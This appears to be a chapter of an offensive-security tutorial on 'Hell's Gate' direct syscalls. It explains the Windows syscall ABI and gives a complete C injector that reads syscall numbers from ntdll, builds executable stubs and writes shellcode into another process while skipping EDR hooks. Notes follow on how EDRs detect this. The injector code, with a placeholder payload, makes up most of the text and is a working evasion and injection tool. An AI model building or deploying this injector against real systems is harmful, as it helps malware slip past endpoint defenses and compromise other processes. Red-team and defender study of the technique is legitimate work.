Direct Syscalls — Hell's Gate
Unhooking (Chapters 39–40) removes EDR hooks — but the unhooking actions themselves go through the hooked ntdll and are visible to the EDR. A more fundamental bypass skips ntdll entirely: instead of calling the Windows function, you invoke the kernel directly with a raw syscall instruction, providing the syscall service number (SSN) that corresponds to the function. This is direct syscalls. Hell's Gate (by am0nsec and RtlMateusz, 2020) makes this practical by dynamically resolving SSNs at runtime by reading the numbers directly from ntdll's stub code — so you don't need to hard-code version-specific numbers. This chapter implements Hell's Gate, explains the syscall ABI, and integrates direct syscalls into a working injector that never calls through the hooked ntdll layer.
The Windows Syscall ABI
Normal function call chain (HOOKED):
─────────────────────────────────────────────────────────────────────────
Your code
CALL NtAllocateVirtualMemory (via IAT or direct address)
↓
ntdll!NtAllocateVirtualMemory stub [POSSIBLY HOOKED HERE]
mov r10, rcx ← save 1st arg (rcx is volatile for syscall instruction)
mov eax, 18h ← syscall service number (SSN)
syscall ← transition to kernel (ring 0)
↓
Kernel handler NtAllocateVirtualMemory
allocates memory, returns
↑
Returns to ntdll stub, then to your code
Direct syscall (BYPASSES ntdll hooks):
─────────────────────────────────────────────────────────────────────────
Your code
CALL MyDirectNtAllocateVirtualMemory (your own stub)
↓
[Your stub — in your own memory, NOT in ntdll]:
mov r10, rcx ← Windows ABI: first arg goes to r10, not rcx
mov eax, 18h ← SSN (resolved at runtime by Hell's Gate)
syscall ← direct kernel call
ret
↓ (no ntdll involved)
Kernel handler NtAllocateVirtualMemory
↑
Returns to your stub, then to your code
What changes:
- NO ntdll function is called
- NO EDR hook in ntdll can intercept this
- The syscall instruction runs in YOUR stub's code page
- EDRs can detect: call stack return address is in YOUR code, not ntdll
(indirect syscalls in Ch43 address this)
Syscall service numbers (SSNs) on Windows 10/11 x64:
NtAllocateVirtualMemory 0x0018
NtWriteVirtualMemory 0x003A
NtCreateThreadEx 0x00C7
NtProtectVirtualMemory 0x0050
NtOpenProcess 0x0026
NtCreateSection 0x004A
NtMapViewOfSection 0x0028
(These change between Windows builds — must be resolved dynamically)Hell's Gate — Dynamic SSN Resolution
/* hells_gate.c — Direct syscalls with dynamic SSN resolution (Hell's Gate)
Reads syscall service numbers directly from ntdll's exported stubs.
Constructs and executes syscall stubs that bypass all ntdll hooks.
Reference: "Hell's Gate" by am0nsec and RtlMateusz
Build:
x86_64-w64-mingw32-gcc -O2 -o hells_gate.exe hells_gate.c
*/
#include <windows.h>
#include <stdio.h>
typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
/* ── Hell's Gate: read the SSN from ntdll's stub code ──────────────── */
/*
* Unhooked ntdll stub pattern for Nt* functions:
* +0x00: 4C 8B D1 mov r10, rcx
* +0x03: B8 ?? 00 00 00 mov eax, ← SSN is the ?? at +0x04
* +0x08: 0F 05 syscall
* +0x0A: C3 ret
*
* To get the SSN: read the DWORD at function+4.
* (The byte at +3 is B8 (mov eax, imm32), and +4 is the 4-byte immediate)
*
* If the stub is hooked (starts with E9 JMP), this reads garbage.
* Halo's Gate (Ch42) handles this case by reading neighboring functions.
*/
static DWORD get_ssn(const char *func_name) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID stub = GetProcAddress(hNtdll, func_name);
if (!stub) return 0xFFFFFFFF;
PBYTE bytes = (PBYTE)stub;
/* Check if stub is clean (unhooked): starts with 4C 8B D1 */
if (bytes[0] == 0x4C && bytes[1] == 0x8B && bytes[2] == 0xD1 &&
bytes[3] == 0xB8) {
/* mov eax, imm32 — read the 32-bit immediate (the SSN) */
DWORD ssn = *(DWORD *)(bytes + 4);
return ssn;
}
/* Stub is hooked (starts with JMP or something else) */
printf("[-] %s appears hooked — Hell's Gate can't read SSN\n", func_name);
printf(" Use Halo's Gate (Ch42) to find SSN from neighboring stubs\n");
return 0xFFFFFFFF;
}
/* ── Syscall stub — the actual direct syscall instruction ────────────── */
/*
* We allocate a small executable buffer for each syscall we need.
* This stub is what gets called instead of the ntdll function.
*
* The stub machine code:
* 4C 8B D1 mov r10, rcx
* B8 ?? ?? ?? ?? mov eax, [SSN]
* 0F 05 syscall
* C3 ret
*
* Total: 11 bytes.
*
* Note: The stub is in our OWN memory (not ntdll).
* This is detectable by EDRs that check the call stack return address.
* Ch43 (indirect syscalls) fixes this by using ntdll's OWN syscall instruction.
*/
typedef NTSTATUS (*SyscallFn)(...);
static SyscallFn make_syscall_stub(DWORD ssn) {
static const BYTE stub_template[] = {
0x4C, 0x8B, 0xD1, /* mov r10, rcx */
0xB8, 0x00, 0x00, 0x00, 0x00, /* mov eax, [SSN] — filled at +4 */
0x0F, 0x05, /* syscall */
0xC3 /* ret */
};
PBYTE stub_mem = (PBYTE)VirtualAlloc(NULL, sizeof(stub_template),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!stub_mem) return NULL;
memcpy(stub_mem, stub_template, sizeof(stub_template));
*(DWORD *)(stub_mem + 4) = ssn; /* patch in the real SSN */
return (SyscallFn)stub_mem;
}
/* ── Using direct syscalls for injection ─────────────────────────────── */
static BOOL direct_syscall_inject(DWORD pid) {
/* Resolve SSNs for the functions we need */
DWORD ssn_allocvm = get_ssn("NtAllocateVirtualMemory");
DWORD ssn_writevm = get_ssn("NtWriteVirtualMemory");
DWORD ssn_protectvm = get_ssn("NtProtectVirtualMemory");
DWORD ssn_openproc = get_ssn("NtOpenProcess");
DWORD ssn_createthrd = get_ssn("NtCreateThreadEx");
if (ssn_allocvm == 0xFFFFFFFF || ssn_writevm == 0xFFFFFFFF ||
ssn_protectvm == 0xFFFFFFFF || ssn_openproc == 0xFFFFFFFF ||
ssn_createthrd == 0xFFFFFFFF) {
printf("[-] Could not resolve all SSNs — some functions may be hooked\n");
return FALSE;
}
printf("[+] SSNs resolved:\n");
printf(" NtAllocateVirtualMemory: 0x%04lX\n", ssn_allocvm);
printf(" NtWriteVirtualMemory: 0x%04lX\n", ssn_writevm);
printf(" NtProtectVirtualMemory: 0x%04lX\n", ssn_protectvm);
printf(" NtOpenProcess: 0x%04lX\n", ssn_openproc);
printf(" NtCreateThreadEx: 0x%04lX\n", ssn_createthrd);
/* Build syscall stubs */
SyscallFn SysAllocVM = make_syscall_stub(ssn_allocvm);
SyscallFn SysWriteVM = make_syscall_stub(ssn_writevm);
SyscallFn SysProtectVM = make_syscall_stub(ssn_protectvm);
SyscallFn SysOpenProc = make_syscall_stub(ssn_openproc);
SyscallFn SysCreateThrd = make_syscall_stub(ssn_createthrd);
if (!SysAllocVM || !SysWriteVM || !SysProtectVM || !SysOpenProc || !SysCreateThrd) {
printf("[-] Stub allocation failed\n");
return FALSE;
}
/* Shellcode placeholder */
unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
SIZE_T sc_len = sizeof(sc);
/* NtOpenProcess object attributes and client ID */
typedef struct { ULONG Length; PVOID RootDir; PVOID Name; ULONG Attr;
PVOID SecDesc; PVOID QoS; } OA;
typedef struct { HANDLE UniqueProcess; HANDLE UniqueThread; } CID;
OA oa = { sizeof(oa), NULL, NULL, 0, NULL, NULL };
CID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
/* Open target process — via direct syscall (no ntdll hook) */
HANDLE hProc = NULL;
NTSTATUS status = SysOpenProc(
&hProc,
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
&oa,
&cid
);
if (!NT_SUCCESS(status)) {
printf("[-] NtOpenProcess(direct): 0x%08lX\n", status);
return FALSE;
}
printf("[+] Target process opened via direct syscall\n");
/* Allocate memory in target — via direct syscall */
PVOID base = NULL;
SIZE_T size = sc_len;
status = SysAllocVM(
hProc,
&base,
0, /* ZeroBits */
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!NT_SUCCESS(status)) {
printf("[-] NtAllocateVirtualMemory(direct): 0x%08lX\n", status);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Memory allocated at %p via direct syscall\n", base);
/* Write shellcode via direct syscall */
SIZE_T written = 0;
status = SysWriteVM(hProc, base, sc, sc_len, &written);
printf("[+] Shellcode written via direct syscall\n");
/* Change protection to RX via direct syscall */
ULONG old_prot = 0;
SIZE_T prot_size = sc_len;
status = SysProtectVM(hProc, &base, &prot_size, PAGE_EXECUTE_READ, &old_prot);
printf("[+] Protection changed to RX via direct syscall\n");
/* Create thread via direct syscall */
HANDLE hThread = NULL;
status = SysCreateThrd(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hProc,
base,
NULL,
0, 0, 0, 0, NULL
);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateThreadEx(direct): 0x%08lX\n", status);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Thread created in target via direct syscall\n");
printf("[!] NONE of these calls went through ntdll — EDR hooks bypassed\n");
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main(int argc, char *argv[]) {
printf("=== Hell's Gate Direct Syscall Injector ===\n\n");
if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
return direct_syscall_inject((DWORD)atol(argv[1])) ? 0 : 1;
}
Detection — The Return Address Problem
Direct syscall detection by modern EDRs:
─────────────────────────────────────────────────────────────────────────
The weakness: our syscall stub is in OUR allocated memory (RWX page),
NOT in ntdll. When the kernel processes the syscall and examines the
call stack (for ETW stack walking), it sees:
Thread call stack during direct syscall:
[0] KERNEL: KiSystemCall64 / system service handler
[1] YOUR_STUB at 0x000001234ABC0000 ← non-module address (suspicious)
[2] YOUR_INJECT_FUNCTION
[3] YOUR_MAIN
Legitimate syscall call stack (from ntdll):
[0] KERNEL
[1] ntdll!NtAllocateVirtualMemory at 0x7FFF12340000 ← module address
[2] kernel32!VirtualAllocEx
[3] calling code
The suspicious return address (stack frame [1] = non-module address)
is visible to:
• ETW-TI (kernel-level stack walking) → logged with full stack trace
• Windows Defender (reads ETW-TI) → "suspicious syscall from non-module"
• Some EDRs that instrument the SSDT or use kernel callbacks
Solutions:
• Chapter 43: Indirect syscalls — execute the syscall instruction
from WITHIN ntdll's own code, making the return address look legitimate
• Chapter 44: SysWhispers3 with FreshyCalls — automated indirect syscall
generation that handles the ntdll address lookup automatically
Questions & Answers
Why is "mov r10, rcx" the first instruction in every Windows syscall stub?
The Windows x64 syscall ABI requires the first argument to arrive in r10, not rcx. Normally in the x64 __fastcall calling convention, the first argument is in rcx. But the syscall instruction itself saves the usermode RIP into rcx (so the kernel can return to usermode), destroying whatever was in rcx. Microsoft's solution: before executing syscall, copy rcx (first argument) to r10, which is preserved by the syscall instruction. The kernel's handler then reads the first argument from r10. Every Nt* stub in ntdll starts with mov r10, rcx for this reason. When you write direct syscall stubs, you must include this same instruction — otherwise the kernel receives the wrong first argument and the syscall fails or malfunctions.
How do syscall service numbers (SSNs) change between Windows versions and can you hard-code them?
SSNs are assigned by the Windows kernel at build time and change with every major Windows version, significant update, and sometimes patch Tuesday. NtAllocateVirtualMemory might be 0x0018 on Windows 10 21H2 and 0x0018 on Windows 11 23H2 but different on Windows Server 2022. Hard-coding SSNs creates version-specific malware that crashes or silently fails on a different Windows version — the stub calls the wrong kernel function with arguments meant for a different function, which typically returns STATUS_INVALID_PARAMETER or causes unexpected behavior. Hell's Gate solves this by reading the SSN dynamically from ntdll's stub at runtime — it always reads the correct SSN for the exact Windows build currently running, regardless of version. SysWhispers3 (Ch44) goes further by generating stubs at build time while still handling runtime version detection.